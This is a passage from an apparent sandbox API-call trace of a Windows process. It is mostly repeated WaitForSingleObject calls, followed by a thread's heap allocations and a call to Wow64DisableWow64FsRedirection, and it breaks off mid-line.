returned 0x0 [0209.896] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.897] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.897] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.897] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.898] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.898] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.898] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.899] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.899] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.899] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.899] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.900] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.900] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.900] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.900] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.901] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.901] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.901] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.901] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.902] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.902] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.902] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.902] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.903] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.903] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.903] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.903] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.904] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.904] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.904] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.904] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.905] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.905] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.905] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.906] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.907] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.907] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.907] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.908] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.908] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.908] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.908] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.909] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.909] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.909] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.909] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.909] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.910] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.910] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.144] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.144] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.144] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.144] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.145] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.145] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.145] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.145] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.146] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.146] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.146] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.146] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.147] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.147] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.147] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.148] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.148] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.148] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.148] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.149] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.149] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.149] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.150] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.150] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.150] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.150] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.150] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.151] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.151] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.151] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.152] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.152] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.152] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.152] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.153] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.153] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.153] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.153] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.154] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.154] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.154] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.154] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.155] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.155] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.155] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.156] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.156] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.156] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.157] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.157] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.157] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.157] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.158] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.158] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.162] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.162] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.162] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.163] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.163] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.163] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.163] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.164] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.164] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.164] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.165] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.165] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.165] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.165] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.165] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.166] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.166] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.166] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.167] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.167] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.167] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.167] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.168] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.168] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.168] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.169] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.169] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.169] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.169] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.169] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.170] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.170] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.170] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.171] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.171] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.171] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.171] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.172] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.172] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.172] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.172] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.173] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.173] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.173] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.174] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.174] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.174] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.174] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.175] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.175] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.175] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.175] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.176] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.176] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.176] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.177] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.177] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.177] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.177] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.178] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.178] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.178] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.179] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.179] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.179] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.179] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.180] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.180] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.180] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.180] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.181] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.181] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.181] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.181] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.182] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.182] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.182] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.182] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.183] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.183] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.183] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.184] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.184] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.184] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.184] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.185] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.185] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.185] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.185] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.186] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.186] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.186] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.186] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.187] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.187] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.187] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.187] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.188] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.188] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.188] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.188] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.189] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.189] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.877] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.877] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.878] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.878] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.878] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.878] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.879] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.879] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.879] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.879] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.880] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.880] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.880] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.880] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.881] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.881] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.881] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.881] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.882] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.882] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.882] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.883] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.883] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.883] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.883] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.884] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.884] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.884] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.884] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.885] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.885] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.885] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.885] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.885] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.886] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.886] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.886] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.886] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.887] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.887] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.887] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.887] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.888] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.888] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.888] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.889] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.889] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.889] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.890] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.890] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.890] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.890] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.891] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.891] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.891] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.893] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.893] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.893] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.894] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.894] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.894] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.894] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.895] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.895] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.895] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.895] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.896] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.896] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.896] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.897] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.897] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.897] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.897] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.898] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.898] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.898] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.898] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.899] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.899] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.899] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.899] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.899] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.900] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.900] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.900] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.901] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.901] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.901] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.901] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.902] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.902] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0211.902] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 56 os_tid = 0x680 [0211.232] GetProcessHeap () returned 0x560000 [0211.232] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b44188 [0211.235] GetProcessHeap () returned 0x560000 [0211.235] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x57ffb8 [0211.236] GetProcessHeap () returned 0x560000 [0211.236] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x28) returned 0x597988 [0211.236] GetProcessHeap () returned 0x560000 [0211.237] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x110102) returned 0x3840020 [0211.237] GetProcessHeap () returned 0x560000 [0211.237] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x50) returned 0x57d4a8 [0211.238] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x750a0000 [0211.238] GetProcAddress (hModule=0x750a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750cd650 [0211.238] Wow64DisableWow64FsRedirection (in: OldValue=0x371fbf4 | out: OldValue=0x371fbf4*=0x0) returned 1 [0211.238] GetProcessHeap () returned 0x560000 [0211.238] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57d4a8 | out: hHeap=0x560000) returned 1 [0211.238] WaitForSingleObject (hHandle=0x174, 